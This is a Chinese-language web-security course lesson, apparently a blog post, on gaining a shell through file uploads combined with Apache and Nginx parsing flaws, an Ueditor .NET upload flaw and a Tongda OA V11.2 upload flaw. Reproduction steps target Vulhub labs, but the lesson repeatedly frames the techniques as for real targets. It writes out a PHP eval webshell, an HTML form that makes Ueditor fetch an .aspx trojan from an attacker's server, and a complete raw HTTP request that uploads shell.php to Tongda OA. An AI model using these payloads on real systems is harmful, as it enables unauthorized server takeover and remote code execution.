48:文件上传漏洞进阶(中间件/CMS/第三方编辑器)

本节课聚焦"文件上传+环境缺陷"的联动利用,覆盖中间件(Apache/Nginx)解析漏洞、第三方编辑器逻辑缺陷、已知CMS漏洞三大场景,核心是理解"环境配置→漏洞触发→GetShell"的闭环,而非单纯记忆Payload。

一、核心知识点总览

三类漏洞的本质都是"利用环境或组件的缺陷,让恶意文件被解析/上传成功",但适用场景和实现逻辑差异显著:

漏洞类型 核心逻辑 实战场景 利用难度
中间件解析漏洞 利用Apache/Nginx的配置/版本缺陷,让非PHP文件被解析为PHP 服务器用开源中间件且配置不当
第三方编辑器漏洞 利用编辑器的逻辑缺陷(如未授权上传、远程抓取) 后台集成了Ueditor/KindEditor等编辑器
CMS已知漏洞 利用CMS官方未修复的上传漏洞,直接上传木马 目标使用通达OA、Discuz等已知有漏洞的CMS

二、中间件文件解析漏洞(Apache&Nginx)

中间件的解析漏洞是"文件上传漏洞的放大器"------即使上传的是图片后缀,只要中间件配置缺陷,就能被解析为PHP执行。

2.1 Apache 换行解析漏洞(CVE-2017-15715)

核心原理

Apache 2.4.0~2.4.29版本中,若文件名含换行符(0x0a),会被错误解析为合法PHP文件。例如evil.php[0x0a]​会被识别为evil.php​。

复现步骤(Vulhub靶场)
  1. 部署靶场:

    复制代码
    cd vulhub/httpd/CVE-2017-15715
    docker compose up -d
  2. 上传木马并抓包:

    上传1.php​(内容<?php phpinfo();?>​),抓包修改filename​为evil.php​(末尾加空格,方便后续定位)。

  3. Hex修改换行符:

    Burp转Hex格式,将空格的20​改为0a​(换行符的十六进制)。

  4. 触发解析:

    访问http://IP:8080/evil.php ​( ​是换行符的URL编码),成功执行phpinfo()​。

避坑点
  • 需确保后端有重命名逻辑(否则文件名不变,漏洞无法触发);
  • Hex修改时要精准定位空格位置,可先加多个空格标记。

2.2 Apache 多后缀解析漏洞

核心原理

Apache配置了AddHandler application/x-httpd-php .php​后,只要文件名含.php​后缀(无论位置),就会被解析为PHP。例如xxx.php.jpg​会被当作PHP文件执行。

复现步骤(Vulhub靶场)
  1. 部署靶场:

    复制代码
    cd vulhub/httpd/apache_parsing_vulnerability
    docker compose up -d
  2. 上传多后缀木马:

    制作apache.php.jpeg​(内容<?=phpinfo()?>​),上传后访问http://IP/uploadfiles/apache.php.jpeg​,成功解析。

实战意义

可绕过"仅允许.jpg/.png"的白名单验证,只需让文件名含.php​后缀即可。

2.3 Nginx 文件名逻辑漏洞(CVE-2013-4547)

核心原理

Nginx 0.8.411.4.3 / 1.5.01.5.7版本中,文件名含空格+php后缀时,会将空格截断,解析为合法PHP文件。例如1.gif[空格].php​会被识别为1.gif.php​。

复现步骤(Vulhub靶场)
  1. 部署靶场:

    复制代码
    cd vulhub/nginx/CVE-2013-4547
    docker compose up -d
  2. 上传木马并抓包:

    上传1.gif​(内容<?php phpinfo();?>​),抓包修改filename​为1.gif[空格].php​。

  3. Hex修改空字符:

    Burp转Hex格式,将空格的20​改为00​(空字符的十六进制)。

  4. 触发解析:

    访问http://IP:8080/uploadfiles/1.gif.php​,成功执行phpinfo()​。

避坑点
  • Hex修改时若无法编辑,点击旁边任意字符即可激活输入;
  • 需确保Nginx版本在漏洞范围内,高版本已修复。

2.4 Nginx 解析漏洞(配置缺陷)

核心原理

Nginx配置了location ~ \.php$ { ... }​后,访问/xxx.png/.php​时,会将请求交给PHP解析器,从而执行xxx.png​中的PHP代码。

复现步骤(Vulhub靶场)
  1. 部署靶场:

    复制代码
    cd vulhub/nginx/nginx_parsing_vulnerability
    docker compose up -d
  2. 上传图片马:

    上传内含PHP代码的图片马(如<?php @eval($_POST['pass']);?>​)。

  3. 触发解析:

    访问http://IP/uploadfiles/\[图片名\].png/.php​,成功执行木马(用哥斯拉连接,密码pass​)。

实战意义

无需修改文件名,只需在URL后加/.php​即可利用,隐蔽性极强。

中间件漏洞对比表

中间件 漏洞名称 版本范围 触发关键 利用难度
Apache 换行解析(CVE-2017-15715) 2.4.0~2.4.29 Hex修改20​为0a​
Apache 多后缀解析 全版本(配置依赖) 文件名含.php​后缀
Nginx 文件名逻辑漏洞(CVE-2013-4547) 0.8.411.4.3 / 1.5.01.5.7 Hex修改20​为00​
Nginx 解析漏洞(配置) 全版本(配置依赖) URL后加/.php​

三、第三方编辑器文件上传漏洞(以Ueditor为例)

第三方编辑器(如Ueditor、KindEditor)的逻辑缺陷的,可直接绕过所有验证上传木马。

Ueditor 任意文件上传漏洞(.Net版本)

核心原理

Ueditor .Net版本的"远程图片抓取"功能未做权限验证,可构造表单上传恶意图片马,并将其重命名为.aspx​后缀执行。

复现步骤
  1. 定位编辑器入口:

    目录扫描找到/ueditor/net/controller.ashx​(如http://IP/ueditor/net/controller.ashx​)。

  2. 构造上传表单:

    复制代码
    <form action="http://IP/ueditor/net/controller.ashx?action=catchimage" method="POST" enctype="multipart/form-data">
      <input type="text" name="source[]" value="http://你的服务器/木马.aspx" />
      <input type="submit" value="上传" />
    </form>
  3. 上传并执行:

    提交后,Ueditor会抓取并保存为.aspx​文件,访问该路径并用哥斯拉连接(密码对应木马)。

实战拓展
  • 其他编辑器如KindEditor可利用"上传路径遍历"(如../跳转目录)上传木马;
  • 优先通过"目录扫描"找编辑器入口(如/ueditor/、/kindeditor/)。

四、CMS已知文件上传漏洞(以通达OA V11.2为例)

已知CMS的上传漏洞可通过"识别版本+公开POC"快速GetShell,无需手动测试。

通达OA V11.2 文件上传漏洞

核心原理

后台存在未授权的文件上传接口,可直接上传PHP木马。

复现步骤(ONE-FOX工具箱)
  1. 识别CMS版本:
    用WhatWeb或ONE-FOX工具箱识别目标为通达OA V11.2。
  2. 利用POC上传木马:
    选择"后台上传GetShell"功能,自动获取Cookie并上传木马。
  3. 连接木马:
    访问木马路径,用哥斯拉连接(密码默认或自定义)。
手动拓展
  • 找到上传入口/ispirit/im/upload.php​,构造数据包上传:

    复制代码
    POST /ispirit/im/upload.php HTTP/1.1
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="UPLOAD_MODE"
    1
    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="P"
    123
    ------WebKitFormBoundary7MA4YWxkTrZu0gW
    Content-Disposition: form-data; name="img"; filename="shell.php"
    Content-Type: application/octet-stream
    <?php @eval($_POST['pass']);?>
    ------WebKitFormBoundary7MA4YWxkTrZu0gW--

五、核心总结与实战建议

  1. 中间件漏洞:

    • 优先用Vulhub复现,理解"Hex修改"和"解析规则";
    • 实战中结合文件上传白名单,如用xxx.php.jpg绕过Apache多后缀解析。
  2. 第三方编辑器漏洞:

    • 关注"未授权访问"和"功能逻辑缺陷",如Ueditor的远程抓取、KindEditor的路径遍历;
    • 用目录扫描工具(如Dirsearch)找编辑器入口。
  3. CMS漏洞:

    • 善用CMS识别工具(WhatWeb)和POC库(Exploit-DB);
    • 手动测试时优先找"上传、文件管理"功能点。

避坑总览

场景 常见坑点 解决方法
中间件Hex修改 无法定位字符位置 先加空格标记,再转Hex找20​位置
编辑器利用 路径找不到或权限不足 目录扫描找编辑器入口(如/ueditor/​)
CMS利用 POC失效 确认CMS版本与POC匹配,手动抓包调试

通过本节课,需建立"环境缺陷→漏洞利用"的关联思维------文件上传只是第一步,能否GetShell最终取决于中间件、组件或CMS的配置/缺陷。多复现靶场,才能在实战中快速识别并利用这类联动漏洞。

相关推荐
liujing102329292 小时前
Cursor编辑器的使用技巧
编辑器
步步为营DotNet3 小时前
深度探索ASP.NET Core中间件的错误处理机制:保障应用程序稳健运行
后端·中间件·asp.net
d111111111d19 小时前
什么是内存对齐?在STM32上面如何通过编辑器指令来实现内存对齐。
笔记·stm32·单片机·嵌入式硬件·学习·编辑器
取加若则_1 天前
Vim基本操作
linux·编辑器·vim
Highcharts.js1 天前
从旧版到新版:Highcharts for React 迁移全攻略 + 开发者必知的 5 大坑
前端·react.js·前端框架·编辑器·highcharts
zwxu_1 天前
中间件磁盘满P0事故解决方案分享
中间件
Wnq100721 天前
新型基于“去中心化分布式Agent“技术的操作系统DIOS
分布式·嵌入式硬件·中间件·架构·云计算·去中心化·信息与通信
努力的小帅1 天前
通过VSCode远程连接到CentOS7/Ubuntu18等老系统
ide·vscode·编辑器
计算机小手1 天前
使用轻量级中间件 VoidAuth 快速构建站点SSO,支持Docker一键部署与Nginx快速接入
经验分享·docker·中间件·开源软件